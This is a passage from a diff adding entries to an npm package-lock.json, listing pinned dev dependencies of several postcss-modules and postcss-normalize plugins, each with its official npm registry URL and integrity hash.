"sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "requires": { + "color-name": "1.1.1" + } + }, + "color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, + "postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "requires": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + } + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + }, + "supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + } + } + }, + "postcss-modules-local-by-default": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-1.2.0.tgz", + "integrity": "sha1-99gMOYxaOT+nlkRmvRlQCn1hwGk=", + "dev": true, + "requires": { + "css-selector-tokenizer": "^0.7.0", + "postcss": "^6.0.1" + }, + "dependencies": { + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "^1.9.0" + } + }, + "chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "requires": { + "color-name": "1.1.1" + } + }, + "color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, + "postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "requires": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + } + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + }, + "supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + } + } + }, + "postcss-modules-scope": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/postcss-modules-scope/-/postcss-modules-scope-1.1.0.tgz", + "integrity": "sha1-1upkmUx5+XtipytCb75gVqGUu5A=", + "dev": true, + "requires": { + "css-selector-tokenizer": "^0.7.0", + "postcss": "^6.0.1" + }, + "dependencies": { + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "^1.9.0" + } + }, + "chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "requires": { + "color-name": "1.1.1" + } + }, + "color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, + "postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "requires": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + } + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + }, + "supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + } + } + }, + "postcss-modules-values": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/postcss-modules-values/-/postcss-modules-values-1.3.0.tgz", + "integrity": "sha1-7P+p1+GSUYOJ9CrQ6D9yrsRW6iA=", + "dev": true, + "requires": { + "icss-replace-symbols": "^1.1.0", + "postcss": "^6.0.1" + }, + "dependencies": { + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "^1.9.0" + } + }, + "chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "requires": { + "color-name": "1.1.1" + } + }, + "color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, + "postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "requires": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + } + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + }, + "supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + } + } + }, + "postcss-normalize-charset": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/postcss-normalize-charset/-/postcss-normalize-charset-1.1.1.tgz", + "integrity": "sha1-757nEhLX/nWceO0WL2HtYrXLk/E=", + "dev": true, + "requires": { + "postcss": "^5.0.5" + } + }, + "postcss-normalize-display-values": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-display-values/-/postcss-normalize-display-values-4.0.0.tgz", + "integrity": "sha1-lQ4Me+NEV3ChYP/9a2ZEw8DNj4k=", + "dev": true, + "requires": { + "cssnano-util-get-match": "^4.0.0", + "postcss": "^6.0.0", + "postcss-value-parser": "^3.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "^1.9.0" + } + }, + "chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "requires": { + "color-name": "1.1.1" + } + }, + "color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, + "postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "requires": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + } + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + }, + "supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + } + } + }, + "postcss-normalize-positions": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-positions/-/postcss-normalize-positions-4.0.0.tgz", + "integrity": "sha1-7pNDq5gbgixjq3JhXszNCFZERaM=", + "dev": true, + "requires": { + "cssnano-util-get-arguments": "^4.0.0", + "has": "^1.0.0", + "postcss": "^6.0.0", + "postcss-value-parser": "^3.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "^1.9.0" + } + }, + "chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "requires": { + "color-name": "1.1.1" + } + }, + "color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, + "postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "requires": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + } + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + }, + "supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + } + } + }, + "postcss-normalize-repeat-style": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-4.0.0.tgz", + "integrity": "sha1-txHFks8W+vn/V15C+hALZ5kIPv8=", + "dev": true, + "requires": { + "cssnano-util-get-arguments": "^4.0.0", + "cssnano-util-get-match": "^4.0.0", + "postcss": "^6.0.0", + "postcss-value-parser": "^3.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "^1.9.0" + } + }, + "chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "requires": { + "color-name": "1.1.1" + } + }, + "color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, + "postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "requires": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + } + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + }, + "supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + } + } + }, + "postcss-normalize-string": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-string/-/postcss-normalize-string-4.0.0.tgz", + "integrity": "sha1-cYy20wpvrGrGqDDjLAbAfbxm/l0=", + "dev": true, + "requires": { + "has": "^1.0.0", + "postcss": "^6.0.0", + "postcss-value-parser": "^3.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "^1.9.0" + } + }, + "chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "requires": { + "color-name": "1.1.1" + } + }, + "color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, + "postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "requires": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + } + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + }, + "supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + } + } + }, + "postcss-normalize-timing-functions": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-4.0.0.tgz", + "integrity": "sha1-A1HymIaqmB1D2RssK9GuptCvbSM=", + "dev": true, + "requires": { + "cssnano-util-get-match": "^4.0.0", + "postcss": "^6.0.0", + "postcss-value-parser": "^3.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "^1.9.0" + } + }, + "chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "requires": { + "color-name": "1.1.1" + } + }, + "color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, + "postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "requires": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + } + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + }, + "supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + } + } + }, + "postcss-normalize-unicode": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-unicode/-/postcss-normalize-unicode-4.0.0.tgz", + "integrity": "sha1-Ws1dR7rqXRdnSyzMSuUWb6iM35c=", + "dev": true, + "requires": { + "postcss": "^6.0.0", + "postcss-value-parser": "^3.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "^1.9.0" + } + }, + "chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "requires": { + "color-name": "1.1.1" + } + }, + "color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, + "postcss": { + "version": "6.0.23", + "resolved": 